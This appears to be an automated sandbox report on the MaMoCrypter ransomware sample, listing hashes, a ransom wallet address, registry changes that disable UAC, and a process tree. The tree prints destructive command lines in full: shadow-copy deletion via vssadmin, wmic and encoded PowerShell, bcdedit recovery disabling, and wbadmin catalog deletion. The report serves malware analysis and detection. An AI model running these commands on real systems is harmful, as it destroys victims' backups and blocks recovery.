Analysis
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max time kernel
131s -
max time network
78s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
21/07/2020, 16:16
Static task
static1
Behavioral task
behavioral1
Sample
MaMoCrypter.bin.exe
Resource
win7
Behavioral task
behavioral2
Sample
MaMoCrypter.bin.exe
Resource
win10v200430
General
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Target
MaMoCrypter.bin.exe
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Size
922KB
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MD5
0889138a3894284e97b61f9a310e3e7d
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SHA1
6c51969b1b1686abd8220191e12e647ab7312517
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SHA256
5063ae08ea15ab78bd9062ca0d0813c0682a22583ecd1830efeb6afcc2dd45d8
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SHA512
23317713644609a71953fc632478ee638d818bbb675e4f4ca00226cb4006a631800b3fe35c57aa85078f54155cb5d5c409e37fff25fc8315ee702a30c18f6f18
Malware Config
Extracted
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\How Do I Recover My Files (Readme).txt
3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd
Signatures
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Suspicious behavior: EnumeratesProcesses 22 IoCs
pid Process 1464 svchost.exe 1464 svchost.exe 1464 svchost.exe 1464 svchost.exe 1464 svchost.exe 1464 svchost.exe 1464 svchost.exe 1464 svchost.exe 3396 WerFault.exe 3396 WerFault.exe 3396 WerFault.exe 3396 WerFault.exe 3396 WerFault.exe 3396 WerFault.exe 3396 WerFault.exe 3396 WerFault.exe 3396 WerFault.exe 3396 WerFault.exe 3396 WerFault.exe 3396 WerFault.exe 3396 WerFault.exe 3396 WerFault.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
description pid Process Token: SeBackupPrivilege 3680 vssvc.exe Token: SeRestorePrivilege 3680 vssvc.exe Token: SeAuditPrivilege 3680 vssvc.exe Token: SeIncreaseQuotaPrivilege 3024 WMIC.exe Token: SeSecurityPrivilege 3024 WMIC.exe Token: SeTakeOwnershipPrivilege 3024 WMIC.exe Token: SeLoadDriverPrivilege 3024 WMIC.exe Token: SeSystemProfilePrivilege 3024 WMIC.exe Token: SeSystemtimePrivilege 3024 WMIC.exe Token: SeProfSingleProcessPrivilege 3024 WMIC.exe Token: SeIncBasePriorityPrivilege 3024 WMIC.exe Token: SeCreatePagefilePrivilege 3024 WMIC.exe Token: SeBackupPrivilege 3024 WMIC.exe Token: SeRestorePrivilege 3024 WMIC.exe Token: SeShutdownPrivilege 3024 WMIC.exe Token: SeDebugPrivilege 3024 WMIC.exe Token: SeSystemEnvironmentPrivilege 3024 WMIC.exe Token: SeRemoteShutdownPrivilege 3024 WMIC.exe Token: SeUndockPrivilege 3024 WMIC.exe Token: SeManageVolumePrivilege 3024 WMIC.exe Token: 33 3024 WMIC.exe Token: 34 3024 WMIC.exe Token: 35 3024 WMIC.exe Token: 36 3024 WMIC.exe Token: SeIncreaseQuotaPrivilege 3024 WMIC.exe Token: SeSecurityPrivilege 3024 WMIC.exe Token: SeTakeOwnershipPrivilege 3024 WMIC.exe Token: SeLoadDriverPrivilege 3024 WMIC.exe Token: SeSystemProfilePrivilege 3024 WMIC.exe Token: SeSystemtimePrivilege 3024 WMIC.exe Token: SeProfSingleProcessPrivilege 3024 WMIC.exe Token: SeIncBasePriorityPrivilege 3024 WMIC.exe Token: SeCreatePagefilePrivilege 3024 WMIC.exe Token: SeBackupPrivilege 3024 WMIC.exe Token: SeRestorePrivilege 3024 WMIC.exe Token: SeShutdownPrivilege 3024 WMIC.exe Token: SeDebugPrivilege 3024 WMIC.exe Token: SeSystemEnvironmentPrivilege 3024 WMIC.exe Token: SeRemoteShutdownPrivilege 3024 WMIC.exe Token: SeUndockPrivilege 3024 WMIC.exe Token: SeManageVolumePrivilege 3024 WMIC.exe Token: 33 3024 WMIC.exe Token: 34 3024 WMIC.exe Token: 35 3024 WMIC.exe Token: 36 3024 WMIC.exe Token: SeRestorePrivilege 3396 WerFault.exe Token: SeBackupPrivilege 3396 WerFault.exe Token: SeDebugPrivilege 3396 WerFault.exe -
Modifies service 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000_Classes\Local Settings svchost.exe -
Executes dropped EXE 1 IoCs
pid Process 1464 svchost.exe -
Program crash 1 IoCs
pid pid_target Process procid_target 3396 2100 WerFault.exe 74 -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\host svchost.exe -
System policy modification 1 TTPs 17 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection = "1" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "1" svchost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption svchost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "1" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\scforceoption = "0" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\shutdownwithoutlogon = "1" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "5" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\undockwithoutlogon = "1" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\dontdisplaylastusername = "0" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ValidateAdminCodeSignatures = "0" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "3" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableSecureUIAPaths = "1" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "5" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0" svchost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System svchost.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 952 wrote to memory of 1464 952 MaMoCrypter.bin.exe 68 PID 952 wrote to memory of 1464 952 MaMoCrypter.bin.exe 68 PID 952 wrote to memory of 1464 952 MaMoCrypter.bin.exe 68 PID 1464 wrote to memory of 1836 1464 svchost.exe 70 PID 1464 wrote to memory of 1836 1464 svchost.exe 70 PID 1464 wrote to memory of 1836 1464 svchost.exe 70 PID 1464 wrote to memory of 1888 1464 svchost.exe 71 PID 1464 wrote to memory of 1888 1464 svchost.exe 71 PID 1464 wrote to memory of 1888 1464 svchost.exe 71 PID 1464 wrote to memory of 2100 1464 svchost.exe 74 PID 1464 wrote to memory of 2100 1464 svchost.exe 74 PID 1464 wrote to memory of 2100 1464 svchost.exe 74 PID 1888 wrote to memory of 2560 1888 cmd.exe 76 PID 1888 wrote to memory of 2560 1888 cmd.exe 76 PID 1888 wrote to memory of 2560 1888 cmd.exe 76 PID 1836 wrote to memory of 2720 1836 cmd.exe 77 PID 1836 wrote to memory of 2720 1836 cmd.exe 77 PID 1836 wrote to memory of 2720 1836 cmd.exe 77 PID 1888 wrote to memory of 3024 1888 cmd.exe 79 PID 1888 wrote to memory of 3024 1888 cmd.exe 79 PID 1888 wrote to memory of 3024 1888 cmd.exe 79 PID 1464 wrote to memory of 732 1464 svchost.exe 83 PID 1464 wrote to memory of 732 1464 svchost.exe 83 PID 1464 wrote to memory of 732 1464 svchost.exe 83 -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" svchost.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2560 vssadmin.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\MaMoCrypter.bin.exe"C:\Users\Admin\AppData\Local\Temp\MaMoCrypter.bin.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:952 -
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Modifies registry class
- Executes dropped EXE
- Drops file in Drivers directory
- System policy modification
- Suspicious use of WriteProcessMemory
- Checks whether UAC is enabled
PID:1464 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C sc config "AppCheck" start=disabled3⤵
- Suspicious use of WriteProcessMemory
PID:1836 -
C:\Windows\SysWOW64\sc.exesc config "AppCheck" start=disabled4⤵PID:2720
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet3⤵
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
PID:2560
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C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3024
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵PID:2100
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2100 -s 7044⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Program crash
PID:3396
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C:\Windows\SysWOW64\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\How Do I Recover My Files (Readme).txt3⤵PID:732
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:3680